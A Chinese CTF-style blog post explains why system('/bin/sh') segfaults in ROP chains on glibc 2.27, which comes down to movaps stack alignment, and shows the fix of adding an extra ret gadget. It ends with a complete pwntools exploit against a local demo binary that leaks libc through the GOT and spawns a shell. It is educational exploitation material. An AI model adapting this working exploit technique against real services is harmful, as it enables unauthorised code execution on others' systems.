关于glibc 2.27中system函数的一个坑

Posted by on December 19, 2018 · 2 mins read

昨天acdxvfsvd写了个演示用的demo,就是一个简单的栈溢出,如下:


没有开PIE和canary,看上去是一个非常非常入门级的Pwn。

常规打法就是覆盖返回地址,第一次构造puts(elf.got[‘puts’]) 拿到libc地址后返回到vuln函数,第二次就可以构造system(‘/bin/sh’)。

但事实上,在Ubuntu 18.04上演示时,出现了一些问题。

我打了这么久的Pwn,这都会G?

跟了一下发现system函数的确是进去了,rdi也的确是’/bin/sh’的地址,为什么会出现段错误?试了一下如果这里换成execve(‘/bin/sh’,0,0)的话,是可以成功执行/bin/sh的,问题应该是出在system的。 跟进了system函数,发现在子进程的do_system+1094处,有一句movaps指令,一开始并不能理解为什么这条指令会段错误,因为操作数都是合法的地址,后来经过plusls提醒,movaps指令是要求操作数必须16字节对齐,否则就会触发异常。

而在Ubuntu16.04的libc-2.23中,system函数并没有用到这条指令,所以之前一直没有出现过这个问题。

左边为libc-2.23,右边为libc-2.27

因为x64的调用约定中,大部分情况下默认是16字节对齐的,gcc编译时分配数组是也会进行16字节对齐,但是栈溢出后我们破坏掉了这个对齐,导致了这个错误,解决方法就是多加一条ret,让rsp+8,对齐16字节即可。想保险一点的话,ROP中可以在call一个函数之前让RSP &= 0xfffffffffffffff0,如果是ret/jmp一个函数,则可以 RSP = (RSP&0xfffffffffffffff0-8),只要保证进入函数后,RSP最低位是8就行。

顺便贴个exp:

from pwn import *

p = process('./demo1')

elf = ELF('./demo1')
libc = elf.libc
pop_rdi_ret = 0x400613
ret = 0x40058b
off = 0x48
payload = 'A' * off
payload += p64(pop_rdi_ret)
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(elf.symbols['main'])
p.recvuntil('Input your name:\n')
p.sendline(payload)

puts_addr = u64(p.recvline().strip().ljust(8, '\x00'))
libc_addr = puts_addr - libc.symbols['puts']
log.success("libc: %x" % libc_addr)

system_addr = libc_addr + libc.symbols['system']
binsh_addr = libc_addr + next(libc.search('/bin/sh'),)
payload = 'A' * off
payload += p64(pop_rdi_ret)
payload += p64(binsh_addr)
payload += p64(ret)
payload += p64(system_addr)

p.sendline(payload)

p.interactive()

感觉这个特性还是有点小坑的,网上相关的资料也不多,所以在这里写了一下。